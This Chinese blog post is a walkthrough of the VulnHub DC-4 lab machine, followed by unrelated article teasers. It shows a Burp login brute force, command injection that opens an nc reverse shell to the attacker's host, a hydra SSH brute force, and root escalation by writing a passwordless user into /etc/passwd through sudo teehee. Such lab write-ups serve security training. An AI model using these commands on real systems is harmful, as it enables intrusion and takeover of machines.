VulhubDC-4靶机详解

news/2024/9/19 11:28:17/ 标签: 网络安全

项目地址

https://download.vulnhub.com/dc/DC-4.zip

实验过程

将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机

使用nmap进行主机发现,获取靶机IP地址

nmap 192.168.47.1-254

根据对比可知DC-4的一个ip地址为192.168.47.145

扫描DC-4的操作系统,端口及对应服务

nmap -A -p- 192.168.47.145

发现开放22和80端口

访问http://192.168.47.145

发现是个登录界面

尝试使用BP抓包进行爆破

发送到Intruder模块

载入密码字典,开始攻击

对lenth进行排序,发现一个长度异常单位

使用这个密码尝试登录

登录成功

漏洞利用

发现这里可以执行相关命令

可以考虑使用BP篡改数据包来反弹shell

抓包

发现radio可以修改

设置监听
nc -lvvp 8888

反弹shell

注意原数据包空格用+代替的,所以我们也用+来代替

nc+-e+/bin/bash+192.168.47.129+8888

放包

反弹成功

获得交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'

提权

四处翻翻

翻到一份密码字典

一个没权限查看的文件

复制一份内容写进password.txt文件中

使用hydra命令进行爆破
hydra -l jim -P password.txt -t 1 -vV -e ns 192.168.47.145 ssh -o ssh.txt -f ssh://192.168.47.145

爆破出来密码是jibril04

使用ssh连接

连接成功

尝试查看刚才没权限的那个文件
cat /home/jim/mbox

看上去像是收到一封邮件

去var/mail找找
cat /var/mail/jim

通过文件内容得到了charles的密码^xHhA&hvim0y

登录charles账户

登录成功

查看权限

发现charles有teehee命令的权限

使用teehee创建一个root用户
echo "huacha::0:0:::/bin/sh" | sudo teehee -a /etc/passwd

添加成功

切换账户

发现flag.txt在/root目录下

查看flag


http://www.ppmy.cn/news/1527621.html

相关文章

C++——多态的原理

多态的原理 多态的原理引入虚函数表 多态的原理 引入 如下代码的输出结果为() A.编译报错 B.运行报错 C.8 D.12 上⾯题⽬运⾏结果12bytes,除了_b和_ch成员,还多⼀个__vfptr放对象的前⾯(注意有些平台可能会放到对象的最后⾯&am…

web基础—dvwa靶场(七)SQL Injection

SQL Injection(SQL注入) SQL Injection(SQL注入),是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致…

AI绘画:科技赋能艺术的崭新时代

💯AI绘画:走进艺术创新的新时代 人工智能在改变世界的过程中,AI绘画工具逐渐成为创新的典范。 本文将为您揭示AI绘画背后的技术秘密、潜在的应用场景,并为您推荐几款出色的AI绘画工具,助您领略这一技术带来的艺术新体…

git bash中执行java命令乱码问题处理

Git Bash中执行java命令显示乱码 购机自带windows字符集为gbk,git bash默认为utf8,导致中文字符显示乱码 处理方案如下 顶部右键点击Options 选择Text,更换字符集即可

彩蛋岛 销冠大模型案例

彩蛋岛 销冠大模型案例 任务: https://kkgithub.com/InternLM/Tutorial/tree/camp3/docs/EasterEgg/StreamerSales 视频 https://www.bilibili.com/video/BV1f1421b7Du/?vd_source4ffecd6d839338c9390829e56a43ca8d 项目git地址: https://kkgithu…

VideoPlayer插件的用法

文章目录 1. 概念介绍2. 使用方法2.1 实现步骤2.2 具体细节 3. 示例代码4. 内容总结 我们在上一章回中介绍了"如何获取文件类型"相关的内容,本章回中将介绍如何播放视频.闲话休提,让我们一起Talk Flutter吧。 1. 概念介绍 播放视频是我们常用…

[深度学习]Pytorch框架

1 深度学习简介 应用领域:语音交互、文本处理、计算机视觉、深度学习、人机交互、知识图谱、分析处理、问题求解 2 发展历史 1956年人工智能元年2016年国内开始关注深度学习2017年出现Transformer框架2018年Bert和GPT出现2022年,chatGPT出现&#xff0…

C++11新特性学习

C11 1. C11新特性 自动类型推导(auto)智能指针(提供更安全和更高效的内存管理)移动语义和右值引用 (move语义 &&,使得对象移动而非拷贝,在处理大量数据时提高程序性能)Lambda 表达式(…

idea连接docker 自动化部署

进入Linux服务器 vim /lib/systemd/system/docker.service将 ExecStart/usr/bin/dockerd -H fd:// --containerd/run/containerd/containerd.sock 替换为 ExecStart/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock新建文件 Dockerfile配置Dockerfile文…

CTF比赛中的Git相关题目解题思路

在CTF比赛中,涉及Git相关的题目通常会考察参赛者对Git仓库的了解,尤其是如何利用公开或不完整的Git仓库来恢复源代码或获取敏感信息。本文将结合一些常见的工具和步骤,详细介绍如何解决这类题目。 背景 Git是一种分布式版本控制系统&#…

中国农业银行——开源软件一体化管理平台

【金融机构开源技术应用创新成果案例 第十二期】 中国农业银行——开源软件一体化管理平台 申报单位:中国农业银行股份有限公司 技术领域:开源软件管理 技术产品:Git、Gitea、Spring-boot、Mybatis 业务场景:开源软件准入、使用、安全治理、目录发布、内外部开源等 应…

Go第三方框架--gin框架(三)

5. net/http框架源码-- 多路复用的实现 这块核心功能对应 1.3 的圆圈2,所属代码如下图: run代码涉及的操作不是gin框架的核心,还记的我说过gin是在net/http的基础上操作的吗,我们来看下gin和net/http包的关联关系。 gin: 主要建…

Java重修笔记 第五十六天 坦克大战(六)多线程基础 - 线程同步、死锁

多线程同步机制 多线程编程中,一些敏感数据可能会被多个线程同时访问造成数据混乱(例如票数),使用线程同步机制,通过锁对象(对象实例或类实例)的方式来保证该段代码在任意时刻,最多…

ram和rom的种类迭代和介绍

RAM(随机存取存储器)在计算机和电子设备中扮演着至关重要的角色。随着技术的发展,RAM有多个迭代和种类,每个种类在速度、功耗和使用场景上有所不同。以下是RAM的详细迭代种类及介绍。 1. SRAM(Static RAM,…

linux-软件包管理-包管理工具(Debian 系)

Linux 软件包管理概述 在Linux系统中,软件包管理是系统维护的核心部分之一。通过软件包管理器,用户可以方便地安装、更新、删除和查询系统中的软件包。每个Linux发行版通常都有自己专属的包管理工具,这些工具基于不同的包格式。例如&#xf…

pycharm连接远程linux服务器上的docker进行深度学习训练

实习过程中由于GPU都在服务器上,编辑代码很麻烦。并且服务器上配置了docker的环境,所以用pycharm连接远程服务器的docker进行深度学习,这样在本地调用远程服务器的GPU和环境,更方便一点,将这个过程记录下来&#xff0c…

CentOS中使用DockerCompose方式部署带postgis的postgresql(附kartoza/docker-postgis镜像下载)

场景 CentOS中使用Docker部署带postgis的postgresql: CentOS中使用Docker部署带postgis的postgresql_centos postgis插件在容器中如何安装-CSDN博客 上面使用Docker搜索和拉取kartoza/postgis时并没有任何限制。 当下如果不能科学上网时,大部分镜像源…

力扣150题——多维动态规划

交错字符串 题目 97. 交错字符串 - 力扣(LeetCode) 思路 用dp[i][j]代表s1的前i个字母和s2的前s2个字母能否交错组成s3的前ij-1的子串 状态转移方程即为 如果 s1[i-1] s3[i j - 1],并且 dp[i-1][j] 为 true,则 dp[i][j] 也…

vmware中的ubuntu系统扩容分区

1.虚拟机关机 右击虚拟机/设置,进入虚拟机设置 3.启动虚拟机,进入命令行 4.fdisk -l查看要扩展的分区名 5.resize要扩容的分区 su root parted /dev/sda resizepart 3 100% fdisk -l resize2fs /dev/sda3 df -T完成 6.其他 进入磁盘管理 fdisk /d…

oracle 如何查询表被锁

在Oracle数据库中,查询表是否被锁可以通过多种方式实现。以下是一些常用的方法来查询Oracle数据库中的表锁情况: 1. 使用V$LOCKED_OBJECT视图 V$LOCKED_OBJECT是Oracle提供的动态性能视图,用于显示当前被锁定的对象信息。通过查询该视图&am…